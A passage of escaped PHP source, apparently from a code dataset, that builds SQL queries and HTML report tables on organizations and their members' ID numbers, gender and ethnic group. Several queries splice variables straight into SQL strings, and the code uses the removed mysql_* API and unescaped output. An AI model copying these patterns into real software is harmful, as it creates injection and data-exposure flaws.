$row_aae['id_anp_objetivo_estrategico'] : \",\".$row_aae['id_anp_objetivo_estrategico'];\t\r\n\t\t}\t\r\n\t\t\t\t\t\r\n\t\t//asignaciopn anp objetivos\r\n\t\t$sql_aao = \"SELECT * FROM asignacion_anp_objetivos \r\n\t\t\t\t\tWHERE id_anp_objetivo_estrategico in(\".$in_aae.\") \r\n\t\t\t\t\tAND id_axo_poa='\".$_SESSION[inrena_4][2].\"' \";\r\n\t\t\t\t\t\t\r\n\t\t$query_aao = new Consulta($sql_aao);\r\n\t\t$in_aao=\"\";\r\n\t\twhile($row_aao = $query_aao->ConsultaVerRegistro()){\r\n\t\t\t$in_aao .=$in_aao == \"\" ? $row_aao['id_asignacion_anp_objetivos'] : \",\".$row_aao['id_asignacion_anp_objetivos'];\t\r\n\t\t}\r\n\t\t\r\n\t\treturn $in_aao;\r\n\t\r\n\t}", "function CrearDetalleIndicador()\n{\n\tglobal $tablaCapacitados;\n\n\n\t//global $tabla;\n\tglobal $eventosAsistentes;\n\t$anioCurso = getAnioSeleccionado();\n\t$indicadorSel = getIndicador();\n\t$mesSel = getMes();\n\t$zonaSel = getZona();\n\t$lineasTabla = \"\";\n\t$tablaHeader = \"\";\n\n\t//echo $anioCurso . \" - \" . $indicadorSel . \" - \" . $mesSel. \" - \" . $zonaSel . \"<br>\";\n\n\tif($indicadorSel == 1)\n\t{\n\t\t$resIndicador = primer_indicador($mesSel, $zonaSel);\n\t\t//print_r2($resIndicador);\n\n\t\tif(count($resIndicador) > 0)\n\t\t{\n\t\t\t//provincias de las organizaciones\n\t\t\t$provOrg = RecuperarInfoOrg($resIndicador, 'provincia');\n\t\t\t//nombres de las organizaciones\n\t\t\t$nombresOrganizaciones = RecuperarInfoOrg($resIndicador, 'nombresOrg');\n\t\t\t// ruc de las organizaciones\n\t\t\t$rucProvisional = RecuperarInfoOrg($resIndicador, 'rucProvisionalOrg');\n\t\t\t$rucDefinitivo = RecuperarInfoOrg($resIndicador, 'rucDefinitivoOrg');\n\t\t\t//categoria Matriz productiva de las organizaciones\n\t\t\t$catMatrizProductivaOrg = RecuperarInfoOrg($resIndicador, 'categoriaMatriz');\n\t\t\t// numero de socios por cada organizacion\n\t\t\t$numSociosOrganizacion = NumSociosOrganizacion($resIndicador);\n\t\t\t// numero de personas Capacitadas\n\t\t\t$numPerCapacitadas = NumPersonasCapacitadas($resIndicador, $anioCurso, $mesSel, 'ORG', $zonaSel);\n\t\t\t//print_r2($eventosAsistentes);\n\t\t\t//Servicio Brindado por Fortalecimiento\n\t\t\t$servicioFortalecimiento = ServiciosBrindadosOrg($resIndicador, $anioCurso, $mesSel, 'ORG', $zonaSel);\n\t\t\t// identificacion actividad matriz productiva\n\t\t\t$actOrgMP = RecuperarInfoOrg($resIndicador, 'identificacionMatriz');\n\t\t\t//capacitados por Genero\n\t\t\t$capMujeres = NumCapacitadosGenero($resIndicador, $anioCurso, $mesSel, 'ORG', $zonaSel, 'mujer');\n\t\t\t$capHombres = NumCapacitadosGenero($resIndicador, $anioCurso, $mesSel, 'ORG', $zonaSel, 'hombre');\n\n\t\t\t// BORRAR LUEGO SOLO PARA FORTALECIMIENTO\n\t\t\t$tablaCapacitados .= \"</table>\";\n\n\n\t\t\t//print_r2($resIndicador);\n\n\t\t\t$tablaHeader = \"<tr class='cabecera'>\n\t\t\t\t\t\t\t\t<th>INDICE</th>\n\t\t\t\t\t\t\t\t<th>MES REPORTE</th>\n\t\t\t\t\t\t\t\t<th>ZONA</th>\n\t\t\t\t\t\t\t\t<th>PROVINCIA</th>\n\t\t\t\t\t\t\t\t<th>ORGANIZACION</th>\n\t\t\t\t\t\t\t\t<th>RUC</th>\n\t\t\t\t\t\t\t\t<th>CATEGORIA ACTIVIDAD MATRIZ PRODUCTIVA</th>\n\t\t\t\t\t\t\t\t<th>IDENTIFICACION ACTIVIDAD MP</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE SOCIOS</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE CAPACITADOS TOTAL</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE CAPACITADOS MUJERES TOTAL</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE CAPACITADOS HOMBRES TOTAL</th>\n\t\t\t\t\t\t\t\t<th>CAMPO FORTALECIMIENTO</th>\n\t\t\t\t\t\t\t\t<th>CODIGO EVENTO</th>\n\t\t\t\t\t\t\t</tr>\";\n\t\t\t\n\t\t\t$nomMes = GetNombreMes($mesSel);\n\n\t\t\t$lineasTabla = \"\";\n\t\t\t$cont = 0;\n\t\t\t$indice = 0;\n\t\t\tforeach($resIndicador as $valor)\n\t\t\t{\n\n\t\t\t\t\n\t\t\t\t$indice = $cont + 1;\n\n\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $provOrg[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nombresOrganizaciones[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $rucDefinitivo[$cont] . \" - \" . $rucProvisional[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $catMatrizProductivaOrg[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $actOrgMP[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $numSociosOrganizacion[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $numPerCapacitadas[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $capMujeres[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $capHombres[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $servicioFortalecimiento[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $eventosAsistentes[$cont] . \"</td>\n\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t$cont++;\n\t\t\t}\n\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tabla .= \"<tr>\n\t\t\t\t\t\t<td>ESTE INDICADOR TIENE 0 REGISTROS REPORTADOS</td>\n\t\t\t\t\t</tr>\";\n\t\t}\n\n\n\t\t\n\t}\n\tif($indicadorSel == 2)\n\t{\n\t\t//print_r2($resIndicador);\n\t\t$resIndicador = segundo_indicador($mesSel,$zonaSel);\n\t\t//print_r2($resIndicador);\n\t\tif(count($resIndicador) > 0)\n\t\t{\n\t\t\t//provincias de las uep\n\t\t\t$provUep = RecuperarInfoOrg($resIndicador, 'provincia');\n\t\t\t//nombres de las uep\n\t\t\t$nombresUep = RecuperarInfoOrg($resIndicador, 'nombresOrg');\n\t\t\t// ruc de las uep\n\t\t\t$rucProvisional = RecuperarInfoOrg($resIndicador, 'rucProvisionalOrg');\n\t\t\t$rucDefinitivo = RecuperarInfoOrg($resIndicador, 'rucDefinitivoOrg');\n\t\t\t//categoria Matriz productiva de las uep\n\t\t\t$catMatrizProductivaOrg = RecuperarInfoOrg($resIndicador, 'categoriaMatriz');\n\t\t\t// numero de socios por cada organizacion\n\t\t\t$numSociosOrganizacion = NumSociosOrganizacion($resIndicador);\n\t\t\t// numero de personas Capacitadas\n\t\t\t$numPerCapacitadas = NumPersonasCapacitadas($resIndicador, $anioCurso, $mesSel, 'UEP', $zonaSel);\n\t\t\t//print_r2($eventosAsistentes);\n\t\t\t//Servicio Brindado por Fortalecimiento\n\t\t\t$servicioFortalecimiento = ServiciosBrindadosOrg($resIndicador, $anioCurso, $mesSel, 'UEP', $zonaSel);\n\t\t\t// identificacion actividad matriz productiva\n\t\t\t$actOrgMP = RecuperarInfoOrg($resIndicador, 'identificacionMatriz');\n\t\t\t//capacitados por Genero\n\t\t\t$capMujeres = NumCapacitadosGenero($resIndicador, $anioCurso, $mesSel, 'UEP', $zonaSel, 'mujer');\n\t\t\t$capHombres = NumCapacitadosGenero($resIndicador, $anioCurso, $mesSel, 'UEP', $zonaSel, 'hombre');\n\n\n\t\t\t// BORRAR LUEGO SOLO PARA FORTALECIMIENTO\n\t\t\t$tablaCapacitados .= \"</table>\";\n\n\n\n\n\t\t\t$tablaHeader = \"<tr class='cabecera'>\n\t\t\t\t\t\t\t<th>INDICE</th>\n\t\t\t\t\t\t\t<th>MES REPORTE</th>\n\t\t\t\t\t\t\t<th>ZONA</th>\n\t\t\t\t\t\t\t<th>PROVINCIA</th>\n\t\t\t\t\t\t\t<th>UEP</th>\n\t\t\t\t\t\t\t<th>RUC PROVISIONAL</th>\n\t\t\t\t\t\t\t<th>CATEGORIA ACTIVIDAD MATRIZ PRODUCTIVA</th>\n\t\t\t\t\t\t\t<th>IDENTIFICACION ACTIVIDAD MP</th>\n\t\t\t\t\t\t\t<th>NUMERO DE SOCIOS</th>\n\t\t\t\t\t\t\t<th>NUMERO DE CAPACITADOS TOTAL</th>\n\t\t\t\t\t\t\t<th>NUMERO DE CAPACITADOS MUJERES TOTAL</th>\n\t\t\t\t\t\t\t<th>NUMERO DE CAPACITADOS HOMBRES TOTAL</th>\n\t\t\t\t\t\t\t<th>CAMPO FORTALECIMIENTO</th>\n\t\t\t\t\t\t\t<th>CODIGO EVENTO</th>\n\t\t\t\t\t\t</tr>\";\n\n\t\t\t\n\t\t\t$nomMes = GetNombreMes($mesSel);\n\n\t\t\t$lineasTabla = \"\";\n\t\t\t$cont = 0;\n\t\t\t$indice = 0;\n\t\t\tforeach($resIndicador as $valor)\n\t\t\t{\n\n\t\t\t\t\n\t\t\t\t$indice = $cont + 1;\n\n\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $provUep[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nombresUep[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $rucDefinitivo[$cont] . \" - \" . $rucProvisional[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $catMatrizProductivaOrg[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $actOrgMP[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $numSociosOrganizacion[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $numPerCapacitadas[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $capMujeres[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $capHombres[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $servicioFortalecimiento[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $eventosAsistentes[$cont] . \"</td>\n\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t$cont++;\n\t\t\t}\n\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tabla .= \"<tr>\n\t\t\t\t\t\t<td>ESTE INDICADOR TIENE 0 REGISTROS REPORTADOS</td>\n\t\t\t\t\t</tr>\";\n\t\t}\n\n\t}\n\n\tif($indicadorSel == 3)\n\t{\n\t\t$resIndicador = tercer_indicador($mesSel,$zonaSel);\n\t\t//print_r2($resIndicador);\t\t\t\n\n\t\tif(count($resIndicador) > 0)\n\t\t{\n\t\t\t//provincias de las organizaciones\n\t\t\t$provOrg = RecuperarInfoOrg($resIndicador, 'provincia');\n\t\t\t//nombres de las organizaciones\n\t\t\t$nombresOrganizaciones = RecuperarInfoOrg($resIndicador, 'nombresOrg');\n\t\t\t// ruc de las organizaciones\n\t\t\t$rucProvisional = RecuperarInfoOrg($resIndicador, 'rucProvisionalOrg');\n\t\t\t$rucDefinitivo = RecuperarInfoOrg($resIndicador, 'rucDefinitivoOrg');\n\t\t\t// actividad de la organizacion\n\t\t\t$actividadOrg = RecuperarInfoOrg($resIndicador, 'identificacionMatriz');\n\t\t\t//categoria Matriz productiva de las organizaciones\n\t\t\t$catMatrizProductivaOrg = RecuperarInfoOrg($resIndicador, 'categoriaMatriz');\n\t\t\t// numero de socios por cada organizacion\n\t\t\t$numSociosOrganizacion = NumSociosOrganizacion($resIndicador);\t\t\t\n\t\t\t//Servicio Brindado por Fortalecimiento\n\t\t\t$servicioFortalecimiento = ServiciosBrindadosOrg($resIndicador, $anioCurso, $mesSel, 'ORG', $zonaSel);\n\t\t\t//print_r2($resIndicador);\n\t\t\t// identificacion actividad matriz productiva\n\t\t\t$actOrgMP = RecuperarInfoOrg($resIndicador, 'identificacionMatriz');\n\t\t\t//Asistentes al circuito\n\t\t\t$asistentesCircuito = GetAsistentesCircuitosEconomicos($resIndicador, $anioCurso, $mesSel, $zonaSel);\n\n\n\t\t\t// BORRAR LUEGO SOLO PARA FORTALECIMIENTO\n\t\t\t$tablaCapacitados .= \"</table>\";\n\n\n\t\t\t$tablaHeader = \"<tr class='cabecera'>\n\t\t\t\t\t\t\t\t<th>INDICE</th>\n\t\t\t\t\t\t\t\t<th>MES</th>\n\t\t\t\t\t\t\t\t<th>ZONA</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>PROVINCIA</th>\n\t\t\t\t\t\t\t\t<th>RUC</th>\n\t\t\t\t\t\t\t\t<th>ORGANIZACION</th>\n\t\t\t\t\t\t\t\t<th>ACTIVIDAD</th>\n\t\t\t\t\t\t\t\t<th>CATEGORIA ACTIVIDAD MATRIZ PRODUCTIVA</th>\n\t\t\t\t\t\t\t\t<th>IDENTIFICACION ACTIVIDAD MP</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>CAMPO FORTALECIMIENTO</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE ASISTENTES</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE SOCIOS</th>\n\t\t\t\t\t\t\t</tr>\";\n\t\t\t\n\n\t\t\t$nomMes = GetNombreMes($mesSel);\n\n\t\t\t$lineasTabla = \"\";\n\t\t\t$cont = 0;\n\t\t\t$indice = 0;\n\t\t\tforeach($resIndicador as $valor)\n\t\t\t{\n\n\t\t\t\t\n\t\t\t\t$indice = $cont + 1;\n\n\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $provOrg[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $rucDefinitivo[$cont] . \" - \" . $rucProvisional[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nombresOrganizaciones[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $actividadOrg[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $catMatrizProductivaOrg[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $actOrgMP[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $servicioFortalecimiento[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $asistentesCircuito[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $numSociosOrganizacion[$cont] . \"</td>\t\t\t\t\t\n\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t$cont++;\n\t\t\t}\n\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tabla .= \"<tr>\n\t\t\t\t\t\t<td>ESTE INDICADOR TIENE 0 REGISTROS REPORTADOS</td>\n\t\t\t\t\t</tr>\";\n\t\t}\n\t}\n\n\tif($indicadorSel == 4)\n\t{\n\t\tglobal $orgSocios;\n\t\t$resIndicador = cuarto_indicador($mesSel, $zonaSel);\n\t\t$provNombre = \"\";\n\t\t$rucSocio = \"\";\n\t\t$cedulaSocio = \"\";\n\t\t$apellidosSocio = \"\";\n\t\t$orgSocio = \"\";\n\t\t$actividadOrgSocio = \"\";\n\t\t$categoriaOrgSocio = \"\";\n\t\t$identificacionCategoriaOrgSocio = \"\";\n\t\t$campoFortalecimiento = \"\";\n\t\t$generoSocio = \"\";\n\t\t$poblacionSocio = \"\";\n\t\t$grupoEtnicoSocio = \"\";\n\n\n\t\t//print_r2($resIndicador);\n\t\t//print_r2($orgSocios);\n\n\t\tif(count($resIndicador) > 0)\n\t\t{\n\t\t\t$provNombre = \"\";\n\t\t\t\n\t\t\t$nomMes = GetNombreMes($mesSel);\n\t\t\t$tablaHeader = \"<tr class='cabecera'>\n\t\t\t\t\t\t\t\t<th>INDICE</th>\n\t\t\t\t\t\t\t\t<th>MES</th>\n\t\t\t\t\t\t\t\t<th>ZONA</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>PROVINCIA</th>\n\t\t\t\t\t\t\t\t<th>RUC</th>\n\t\t\t\t\t\t\t\t<th>CEDULA</th>\n\t\t\t\t\t\t\t\t<th>APELLIDOS Y NOMBRES</th>\n\t\t\t\t\t\t\t\t<th>GENERO</th>\n\t\t\t\t\t\t\t\t<th>POBLACION</th>\n\t\t\t\t\t\t\t\t<th>GRUPO ETNICO</th>\n\t\t\t\t\t\t\t\t<th>ORGANIZACION</th>\n\t\t\t\t\t\t\t\t<th>ACTIVIDAD</th>\n\t\t\t\t\t\t\t\t<th>CATEGORIA ACTIVIDAD MATRIZ PRODUCTIVA</th>\n\t\t\t\t\t\t\t\t<th>IDENTIFICACION ACTIVIDAD MP</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>CAMPO FORTALECIMIENTO</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t</tr>\";\n\t\t\t\n\n\t\t\t$lineasTabla = \"\";\n\t\t\t$cont = 0;\n\t\t\t$indice = 0;\n\n\t\t\tforeach($resIndicador as $valor)\n\t\t\t{\t\t\t\t\t\n\t\t\t\t$rucSocio = \"\";\n\t\t\t\t$cedulaSocio = \"\";\n\t\t\t\t$apellidosSocio = \"\";\n\t\t\t\t$orgSocio = \"\";\n\t\t\t\t$actividadOrgSocio = \"\";\n\t\t\t\t$categoriaOrgSocio = \"\";\n\t\t\t\t$identificacionCategoriaOrgSocio = \"\";\n\t\t\t\t$campoFortalecimiento = \"\";\n\t\t\t\t$generoSocio = \"\";\n\t\t\t\t$poblacionSocio = \"\";\n\t\t\t\t$grupoEtnicoSocio = \"\";\n\n\t\t\t\t$sqlOrgSocios = \"select cod_u_organizaciones from socios where cedula = '\" . $valor . \"' and estado = 1 group by cod_u_organizaciones\";\n\n\t\t\t\t$resSqlOrgSocios = query($sqlOrgSocios);\n\t\t\t\t$numRegistros = mysql_num_rows($resSqlOrgSocios);\n\t\t\t\t//echo $sqlOrgSocios . \"<br>\";\n\t\t\t\t//echo $cont . \" \" . $numRegistros . \"<br>\";\n\n\t\t\t\tif($numRegistros > 1)\n\t\t\t\t{\n\t\t\t\t\t// El socio existe en mas de una organizacion, por lo cual se debe de tomar los cod_u_organizaciones\n\t\t\t\t\t$codOrgSocio = array();\n\t\t\t\t\t$codOrgReportada = array();\n\t\t\t\t\twhile($fila = mysql_fetch_array($resSqlOrgSocios))\n\t\t\t\t\t{\n\t\t\t\t\t\tarray_push($codOrgSocio, $fila['cod_u_organizaciones']);\n\t\t\t\t\t}\n\n\n\n\t\t\t\t\t// Se busca las organizaciones que han sido reportadas en el mes\n\t\t\t\t\tforeach($codOrgSocio as $codigoOrg)\n\t\t\t\t\t{\n\t\t\t\t\t\tif(in_array($codigoOrg, $orgSocios))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//si el codigo de organizacion se encuentra reportada se guarda en codOrgReportada\n\t\t\t\t\t\t\tarray_push($codOrgReportada, $codigoOrg);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t//print_r2($codOrgReportada);\n\n\t\t\t\t\t// Se completa la informacion correspondiente\n\t\t\t\t\t$sqlNombresSocios = \"select apellidos, cedula, zona, cod_provincia, cod_canton, cod_parroquia, genero, grupo_etnico, poblacion, fecha_nacimiento, discapacidad, tipo_discapacidad, fecha_reporte from socios where cedula = '\" . $valor . \"' group by cedula\";\n\n\t\t\t\t\t$resSqlSocios = query($sqlNombresSocios);\n\t\t\t\t\twhile($fila = mysql_fetch_array($resSqlSocios))\n\t\t\t\t\t{\n\t\t\t\t\t\t//echo $fila['cod_provincia'] . \" $indice<br>\";\n\t\t\t\t\t\t$provNombre = GetNombreProvincia($zonaSel, $fila['cod_provincia']);\n\t\t\t\t\t\t$cedulaSocio = $fila['cedula'];\n\t\t\t\t\t\t$apellidosSocio = $fila['apellidos'];\n\t\t\t\t\t\t$generoSocio = $fila['genero'];\n\t\t\t\t\t\tif($generoSocio == '') $generoSocio = \"No registrado\";\n\t\t\t\t\t\t$poblacionSocio = $fila['poblacion'];\n\t\t\t\t\t\tif($poblacionSocio == '') $poblacionSocio = \"No registrado\";\n\t\t\t\t\t\t$grupoEtnicoSocio = $fila['grupo_etnico'];\n\t\t\t\t\t\tif($grupoEtnicoSocio == '') $grupoEtnicoSocio = \"No registrado\";\n\n\t\t\t\t\t\t$aux = 0;\n\t\t\t\t\t\tforeach($codOrgReportada as $codigoOrg)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$sqlRucOrgSocio = \"select ruc_definitivo, ruc_provisional, organizacion, actividad, categoria_actividad_mp, identificacion_actividad_mp from u_organizaciones where cod_u_organizaciones = \" . $codigoOrg;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$resSqlRucOrgSocio = query($sqlRucOrgSocio);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\twhile($fila1 = mysql_fetch_array($resSqlRucOrgSocio))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif($aux == 0)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$rucSocio = $fila1['ruc_definitivo'] . \" - \" . $fila1['ruc_provisional'];\n\t\t\t\t\t\t\t\t\t$orgSocio = $fila1['organizacion'];\n\t\t\t\t\t\t\t\t\t$actividadOrgSocio = $fila1['actividad'];\n\t\t\t\t\t\t\t\t\t$categoriaOrgSocio = $fila1['categoria_actividad_mp'];\n\t\t\t\t\t\t\t\t\t$identificacionCategoriaOrgSocio = $fila1['identificacion_actividad_mp'];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$rucSocio .= \" - \" . $fila1['ruc_definitivo'] . \" - \" . $fila1['ruc_provisional'];\n\t\t\t\t\t\t\t\t\t$orgSocio .= \" - \" . $fila1['organizacion'];\n\t\t\t\t\t\t\t\t\t$actividadOrgSocio .= \" - \" . $fila1['actividad'];\n\t\t\t\t\t\t\t\t\t$categoriaOrgSocio .= \" - \" . $fila1['categoria_actividad_mp'];\n\t\t\t\t\t\t\t\t\t$identificacionCategoriaOrgSocio .= \" - \" . $fila1['identificacion_actividad_mp'];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$sqlFortalecimiento = \"select e.campo_fortalecimiento, e.cod_evento from eventos_u_organizaciones ev inner join eventos e on (e.cod_evento = ev.cod_evento) where ev.cod_u_organizaciones = \" . $codigoOrg . \" and month(e.fecha_reporte) = \" . $mesSel . \" and e.anio = \" . $anioCurso . \" group by e.campo_fortalecimiento\";\n\t\t\t\t\t\t\t//echo $sqlFortalecimiento . \"<br>\";\n\t\t\t\t\t\t\t$resFortalecimiento = query($sqlFortalecimiento);\n\t\t\t\t\t\t\t$aux1 = 0;\n\t\t\t\t\t\t\tif(mysql_num_rows($resFortalecimiento) > 0)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\twhile($fila1 = mysql_fetch_array($resFortalecimiento))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t//se tiene que revisar si hay mas de un evento relacionado con esta org\n\t\t\t\t\t\t\t\t\tif($aux1 == 0) $campoFortalecimiento .= $fila1['campo_fortalecimiento'];\n\t\t\t\t\t\t\t\t\telse $campoFortalecimiento .= \" - \" . $fila1['campo_fortalecimiento'];\n\t\t\t\t\t\t\t\t\t$aux1++;\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$sqlFortalecimiento = \"select e.cod_asistencia_legal from asistencia_legal_org e where e.cod_u_organizaciones = \" . $fila['cod_u_organizaciones'] . \" and month(e.fecha_reporte) = \" . $mesSel . \" and e.anio = \" . $anioCurso . \" group by e.cod_asistencia_legal\";\n\t\t\t\t\t\t\t\t//echo $sqlFortalecimiento . \"<br>\";\n\t\t\t\t\t\t\t\t$resFortalecimiento = query($sqlFortalecimiento);\n\t\t\t\t\t\t\t\tif(mysql_num_rows($resFortalecimiento) > 0)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$campoFortalecimiento = \"asistencia_legal\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$aux++;\t\t\t\t\t\t\n\n\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\n\n\n\t\t\t\t}\n\t\t\t\tif($numRegistros == 1)\n\t\t\t\t{\n\t\t\t\t\t$sqlNombresSocios = \"select apellidos, cedula, zona, cod_provincia, cod_canton, cod_parroquia, genero, grupo_etnico, poblacion, fecha_nacimiento, discapacidad, tipo_discapacidad, fecha_reporte , cod_u_organizaciones from socios where cedula = '\" . $valor . \"' order by cod_u_organizaciones\";\n\n\t\t\t\t\t$resSqlSocios = query($sqlNombresSocios);\n\t\t\t\t\twhile($fila = mysql_fetch_array($resSqlSocios))\n\t\t\t\t\t{\n\t\t\t\t\t\t//echo $fila['cod_provincia'] . \" $indice - $zonaSel<br>\";\n\t\t\t\t\t\t$provNombre = GetNombreProvincia($zonaSel, $fila['cod_provincia']);\n\t\t\t\t\t\t$cedulaSocio = $fila['cedula'];\n\t\t\t\t\t\t$apellidosSocio = $fila['apellidos'];\n\t\t\t\t\t\t$generoSocio = $fila['genero'];\n\t\t\t\t\t\tif($generoSocio == '') $generoSocio = \"No registrado\";\n\t\t\t\t\t\t$poblacionSocio = $fila['poblacion'];\n\t\t\t\t\t\tif($poblacionSocio == '') $poblacionSocio = \"No registrado\";\n\t\t\t\t\t\t$grupoEtnicoSocio = $fila['grupo_etnico'];\n\t\t\t\t\t\tif($grupoEtnicoSocio == '') $grupoEtnicoSocio = \"No registrado\";\n\n\t\t\t\t\t\t$sqlRucOrgSocio = \"select ruc_definitivo, ruc_provisional, organizacion, actividad, categoria_actividad_mp, identificacion_actividad_mp from u_organizaciones where cod_u_organizaciones = \" . $fila['cod_u_organizaciones'];\n\t\t\t\t\t\t//echo $sqlRucOrgSocio . \"<br>\";\n\t\t\t\t\t\t$resSqlRucOrgSocio = query($sqlRucOrgSocio);\n\t\t\t\t\t\twhile($fila1 = mysql_fetch_array($resSqlRucOrgSocio))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$rucSocio = $fila1['ruc_definitivo'] . \" - \" . $fila1['ruc_provisional'];\n\t\t\t\t\t\t\t$orgSocio = $fila1['organizacion'];\n\t\t\t\t\t\t\t$actividadOrgSocio = $fila1['actividad'];\n\t\t\t\t\t\t\t$categoriaOrgSocio = $fila1['categoria_actividad_mp'];\n\t\t\t\t\t\t\t$identificacionCategoriaOrgSocio = $fila1['identificacion_actividad_mp'];\n\t\t\t\t\t\t} \n\n\t\t\t\t\t\t$sqlFortalecimiento = \"select e.campo_fortalecimiento, e.cod_evento from eventos_u_organizaciones ev inner join eventos e on (e.cod_evento = ev.cod_evento) where ev.cod_u_organizaciones = \" . $fila['cod_u_organizaciones'] . \" and month(e.fecha_reporte) = \" . $mesSel . \" and e.anio = \" . $anioCurso . \" group by e.campo_fortalecimiento\";\n\t\t\t\t\t\t//echo $sqlFortalecimiento . \"<br>\";\n\t\t\t\t\t\t$resFortalecimiento = query($sqlFortalecimiento);\n\t\t\t\t\t\t$aux = 0;\n\t\t\t\t\t\tif(mysql_num_rows($resFortalecimiento) > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\twhile($fila1 = mysql_fetch_array($resFortalecimiento))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t//se tiene que revisar si hay mas de un evento relacionado con esta org\n\t\t\t\t\t\t\t\tif($aux == 0) $campoFortalecimiento .= $fila1['campo_fortalecimiento'];\n\t\t\t\t\t\t\t\telse $campoFortalecimiento .= \" - \" . $fila1['campo_fortalecimiento'];\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$sqlFortalecimiento = \"select e.cod_asistencia_legal from asistencia_legal_org e where e.cod_u_organizaciones = \" . $fila['cod_u_organizaciones'] . \" and month(e.fecha_reporte) = \" . $mesSel . \" and e.anio = \" . $anioCurso . \" group by e.cod_asistencia_legal\";\n\t\t\t\t\t\t\t//echo $sqlFortalecimiento . \"<br>\";\n\t\t\t\t\t\t\t$resFortalecimiento = 